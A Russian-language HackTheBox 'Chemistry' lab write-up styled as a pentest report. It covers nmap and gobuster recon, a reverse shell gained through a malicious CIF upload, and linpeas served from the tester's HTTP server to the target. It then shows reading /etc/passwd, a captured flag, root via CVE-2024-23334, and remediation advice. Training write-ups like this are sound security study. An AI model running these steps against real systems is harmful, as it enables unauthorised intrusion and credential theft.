Chemistry
Область тестирования и использованные службы.
| IP/домен | Порт | Сервис | Сервис целевого сервера |
|---|---|---|---|
| localhost | 5901 | WinKexServer | - |
| localhost | - | Nmap Port Scanner | - |
| localhost | - | GoBuster Directory Fuzzing | - |
| localhost | 8000 | Python Simple Http Server | - |
| localhost | 1234 | Reverse Shell Listener | - |
| localhost | Obsidian Notes | - | |
| 10.10.11.38 | 5000 | Flask Web Server | + |
| 10.10.11.38 | 22 | SSH | + |
| 10.10.11.38 | 8080 | Flask Web Server (alt) | + |
Использованные файлы:
- LinPEAS.sh (PEASS-ng/linPEASS)-скрипт, который ищет возможные пути повышения привилегий на хостах Linux/Unix*/MacOS.
- poc.sh (CVE-2021-3560) - просто Bash PoC-скрипт, который автоматизирует шаги по эксплуатации, упомянутые в блоге Кевина Бэкхауса. Прочитайте его пост об этой уязвимости: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/.
- user.txt - флаг.
- root.txt - флаг.
Порядок действий
1) Запуск kex для просмотра директорий
kex --win2) Сканирование портов с помощью nmap.
Результаты:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
| 256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
|_ 256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
2000/tcp open nagios-nsca Nagios NSCA
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.3 Python/3.9.5
| Date: Thu, 07 Nov 2024 12:57:45 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 719
| Vary: Cookie
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Chemistry - Home</title>
| <link rel="stylesheet" href="/static/styles.css">
| </head>
| <body>
| <div class="container">
| class="title">Chemistry CIF Analyzer</h1>
| <p>Welcome to the Chemistry CIF Analyzer. This tool allows you to upload a CIF (Crystallographic Information File) and analyze the structural data contained within.</p>
| <div class="buttons">
| <center><a href="/login" class="btn">Login</a>
| href="/register" class="btn">Register</a></center>
| </div>
| </div>
| </body>
| RTSPRequest:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
3) Запуск gobuster для поиска директорий
- Результаты:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.38:5000/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: directory-list-2.3-medium.txt
[+] Negative Status codes: 404,301
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login (Status: 200) [Size: 926]
/register (Status: 200) [Size: 931]
/upload (Status: 405) [Size: 153]
/logout (Status: 302) [Size: 229] [--> /login?next=%2Flogout]
Progress: 1769 / 220561 (0.80%)[ERROR] Get "http://10.10.11.38:5000/301": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://10.10.11.38:5000/241": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://10.10.11.38:5000/a1": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 1772 / 220561 (0.80%)[ERROR] Get "http://10.10.11.38:5000/administration": context deadline exceeded (Client.Timeout exceeded while awaiting headers)^C
[!] Keyboard interrupt detected, terminating.
Progress: 1954 / 220561 (0.89%)
===============================================================
Finished
===============================================================
4) Заходим на веб сервер и смотрим на страницу register.
5) Ничего интересного я не нашел, поэтому просто зарегистрировался.
Результат:

6) Попробуем загрузить файл, который может создать произвольно выполнение команд.
Попытки: 1)

Результат:

7) Я попробовал просто скачать файл example.civ и загрузить его обратно.
Команда:

Результат:

8) Я думаю, что надо загружать файл с папки "downloads". Попробуем так и сделать.
Команда:

Результат:

9) Стабилизируем командную строку, посмотрим кто мы и что мы можем сделать:
Комманды:
python3 -c 'import pty;pty.spawn("/bin/sh")'
$ export TERM=screen
export TERM=screen
$ bash
bash
app@chemistry:~$ ls
ls
'&' app.py g.sh linpeas.txt shell.sh templates
'&1' CVE-2021-3560.py instance pwned static test
app@chemistry:~$ whoami
whoami
app
app@chemistry:~$ id
id
uid=1001(app) gid=1001(app) groups=1001(app)
app@chemistry:~$
10) Я вижу файл linpeas.txt. Я лучше загружу свой и проверю всю систему.
- Комманды:
- Наша система:
┌──(kolya080808㉿Nikolapc)-[~/Downloads]
└─$ ip a s
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:15:5d:dc:1f:b0 brd ff:ff:ff:ff:ff:ff
inet 172.20.98.80/20 brd 172.20.111.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::215:5dff:fedc:1fb0/64 scope link
valid_lft forever preferred_lft forever
3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 10.10.16.27/23 scope global tun0
valid_lft forever preferred_lft forever
inet6 dead:beef:4::1019/64 scope global
valid_lft forever preferred_lft forever
inet6 fe80::7b1e:6d54:61d:3a65/64 scope link stable-privacy
valid_lft forever preferred_lft forever
┌──(kolya080808㉿Nikolapc)-[~/Downloads]
└─$ cd ../
┌──(kolya080808㉿Nikolapc)-[~]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.38 - - [07/Nov/2024 16:40:16] "GET /privesc/linpeas.sh HTTP/1.1" 200 -
```
- Их система:

#### 11) Посмотрим, что нам выдал linpeas(только самое интересное):
- Команды:

- Результат:

#### 12) Теперь посмотрим файлы приложения:
- Команды:

- Результат:

#### 13) Чтобы было легче, поменял reverse shell на ssh:
- Результат:
```bash
┌──(kolya080808㉿Nikolapc)-[~]
└─$ ssh rosa@10.10.11.38
yes
The authenticity of host '10.10.11.38 (10.10.11.38)' can't be established.
ED25519 key fingerprint is SHA256:pCTpV0QcjONI3/FCDpSD+5DavCNbTobQqcaz7PC6S8k.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.38' (ED25519) to the list of known hosts.
rosa@10.10.11.38's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-196-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Thu 07 Nov 2024 01:57:58 PM UTC
System load: 0.7 Processes: 263
Usage of /: 77.1% of 5.08GB Users logged in: 1
Memory usage: 35% IPv4 address for eth0: 10.10.11.38
Swap usage: 0%
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
9 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Thu Nov 7 13:50:18 2024 from 10.10.14.40
rosa@chemistry:~$
```
#### 14) Читаем флаг:
- Результат:
```bash
rosa@chemistry:~$ ls
user.txt
rosa@chemistry:~$ cat user.txt
011fb46669ff3d0d7ffcbc911cc56f36
```
#### 15) Я попытался прочесть /etc/shadow:
- Результат:
```bash
rosa@chemistry:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
rosa:x:1000:1000:rosa:/home/rosa:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
app:x:1001:1001:,,,:/home/app:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false
rosa@chemistry:~$ cat /etc/shadow
cat: /etc/shadow: Permission denied
```
#### 16) Теперь будем абузить ту уязвимость, которую мы нашли в пункте 11):
- Команды:

- Вывод:
Надо сделать что-то другое.
#### 17) Посмотрим запущенные в сети службы:
- Команда и результат:

Мы использовали CVE-2024-23334. Ура!
#### 18) Ну и читаем root.txt:
- Результат:

<div class="callout примечание"><strong>Примечание:</strong>
Можно было расшифровать хэш, но зачем так париться?)
Спасибо HackTheBox за такую прекрасную комнату!!!
</div>
## Найденные уязвимости
### File Upload
#### PoC:

#### CVSSv3 Score: **9.9 (Critical)**
#### **Описание:**
Сервер позволяет загружать файлы без должной проверки содержания. Это может привести к тому, что злоумышленник загружает скрипт с reverse shell, который представляет собой программу, позволяющую атакующему получить удаленный доступ к серверу через сеть. Так же это может привести к потере данных.
#### Вопроизведение уязвимости:


#### Рекомендации по устранению:
- Не ограничивайтесь проверкой расширения — анализируйте содержимое файла, чтобы убедиться, что он действительно соответствует допустимому типу.
- Убедитесь, что файлы не содержат исполняемый код.
- Сохраняйте загруженные файлы в директории, которая не может быть запущена веб-сервером (например, вне корневой директории сайта).
- Настройте сервер так, чтобы файлы не могли быть напрямую запущены или исполнены.
- Рассмотрите использование контейнеризации (например, Docker) или технологии виртуализации для выполнения пользовательского кода в изолированных средах.
### Remote Code Execution
#### PoC:
```bash
python3 -c 'import pty;pty.spawn("/bin/sh")'
$ export TERM=screen
export TERM=screen
$ bash
bash
app@chemistry:~$ ls
ls
'&' app.py g.sh linpeas.txt shell.sh templates
'&1' CVE-2021-3560.py instance pwned static test
app@chemistry:~$ whoami
whoami
app
app@chemistry:~$ id
id
uid=1001(app) gid=1001(app) groups=1001(app)
app@chemistry:~$
CVSSv3 Score: 8.5 (High)
Описание:
RCE возникает, когда злоумышленник может заставить сервер выполнить произвольный код (обычно командный или скриптовый) на стороне сервера. В рассматриваемом сценарии с загрузкой файла reverse shell и последующим доступом через ссылку для исполнения произвольных файлов.
Воспроизведение уязвимости:
┌──(kolya080808㉿Nikolapc)-[~/Downloads]
└─$ curl -s http://10.10.11.38:5000/structure/a77363e6-7bc4-44f5-b0ad-9b4d25c33324
Рекомендации по устранению:
- Минимизируйте использование системных команд: Избегайте прямого использования командной строки (например, через
exec,system,shell_execв PHP илиsubprocessв Python). Всегда старайтесь использовать встроенные функции, вместо того чтобы выполнять команды операционной системы. - Минимизация привилегий: Настройте минимально необходимые права для приложений и пользователей, которые могут взаимодействовать с сервером. Убедитесь, что веб-приложения работают с минимальными правами, чтобы ограничить доступ к системным командам и файлам.
- Изоляция с помощью контейнеров или виртуальных окружений: Рассмотрите использование контейнеров (Docker, LXC) или виртуальных машин для выполнения кода в изолированной среде. Даже если злоумышленник получит доступ, это ограничит его действия контейнером или виртуальной средой.
Information Disclosure
PoC:

CVSSv3 Score: 9.9 (Critical)
Описание:
Information Disclosure в данном случае связана с доступ к базе данных пользователя, который не должен получить к ней доступ. То есть пользователь app смог получить доступ к файлу database.db, который в свою очередь хранит пароли определенных пользователей, использующих одни и те же пароли для разных сервисов.
Воспроизведение уязвимости:

Рекомендации по устранению:
- Проверьте и настройте права доступа к файлу
database.db, чтобы доступ к нему имели только те процессы и пользователи, которым он необходим. - Ограничьте права пользователя
app, чтобы он не имел доступа к конфиденциальным данным и файлам, таким какdatabase.db. - Используйте принцип минимальных привилегий: доступ к базе данных должен предоставляться только тем частям приложения, которые его действительно требуют.
- Переместите
database.dbв защищённую директорию с ограниченным доступом, которая находится вне зоны доступа пользователя приложения. - Настройте права доступа на файловой системе, установив жесткие ограничения на чтение и запись данных в базе, чтобы только определенные процессы могли обращаться к файлу.
CVE-2024-23334
PoC:

CVSSv3 Score: 9.9 (Critical)
Описание:
Уязвимость типа "path traversal" в библиотеке AioHTTP позволяет злоумышленнику получить доступ к произвольным файлам на сервере, манипулируя файловыми путями. Это может привести к несанкционированному доступу к конфиденциальным файлам и данным, находящимся за пределами допустимой директории.
Воспроизведение уязвимости:

Рекомендации по устранению:
- Убедитесь, что используемая версия AioHTTP обновлена до последней, так как разработчики могут выпустить патч, устраняющий данную уязвимость. Регулярное обновление сторонних библиотек снижает риск эксплуатации известных уязвимостей.
- Используйте жёстко заданные или "жёстко закодированные" пути (hard-coded paths) для файлов, к которым должен быть доступ, и запрещайте любые пути, определяемые пользователями.
- Избегайте динамического формирования путей на основе пользовательских данных или тщательно проверяйте и очищайте такие пути, чтобы убедиться, что они не содержат последовательностей
../или других символов, позволяющих выйти за пределы корневой директории.